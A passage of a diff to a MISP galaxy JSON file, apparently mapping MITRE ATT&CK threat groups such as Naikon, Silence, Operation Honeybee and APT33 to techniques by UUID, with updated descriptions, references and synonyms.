"Whitefly - G0107" + }, + { + "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)", "meta": { "external_id": "G0019", "refs": [ @@ -9857,7 +12670,42 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3161d76a-e2b2-4b97-9906-24909b735386", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9868,7 +12716,7 @@ "value": "Naikon - G0019" }, { - "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", "meta": { "external_id": "G0091", "refs": [ @@ -9896,7 +12744,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9917,49 +12765,49 @@ "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9971,6 +12819,125 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "d13c8a7f-740b-4efa-a232-de7d6bb05321", @@ -10015,21 +12982,21 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10043,14 +13010,14 @@ "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10063,13 +13030,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c9703cd3-141c-43a0-a926-380082be5d04", "tags": [ @@ -10078,14 +13038,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10106,7 +13059,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10127,21 +13080,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10162,21 +13108,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10204,7 +13150,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10218,7 +13164,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10246,21 +13192,21 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10302,35 +13248,35 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10344,14 +13290,21 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10377,14 +13330,14 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10426,14 +13379,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10454,14 +13407,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10475,28 +13428,28 @@ "type": "uses" }, { - "dest-uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8", + "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10562,7 +13515,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10590,21 +13543,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10670,14 +13623,14 @@ "type": "similar" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10691,21 +13644,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10726,7 +13679,7 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10742,7 +13695,7 @@ "external_id": "G0072", "refs": [ "https://attack.mitre.org/groups/G0072", - "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" ], "synonyms": [ "Honeybee" @@ -10750,14 +13703,14 @@ }, "related": [ { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10771,14 +13724,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10806,7 +13759,7 @@ "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10820,7 +13773,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10840,13 +13793,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", "tags": [ @@ -10854,13 +13800,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -10869,7 +13808,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10897,21 +13836,21 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10925,7 +13864,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10943,10 +13889,12 @@ "https://attack.mitre.org/groups/G0064", "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "https://www.brighttalk.com/webcast/10703/275683", + "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" ], "synonyms": [ "APT33", + "HOLMIUM", "Elfin" ] }, @@ -10966,14 +13914,14 @@ "type": "similar" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11049,13 +13997,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", "tags": [ @@ -11078,14 +14019,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11099,7 +14040,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11113,21 +14054,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11141,14 +14082,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11162,7 +14103,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11175,13 +14116,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d", "tags": [ @@ -11197,14 +14131,7 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11223,6 +14150,90 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + 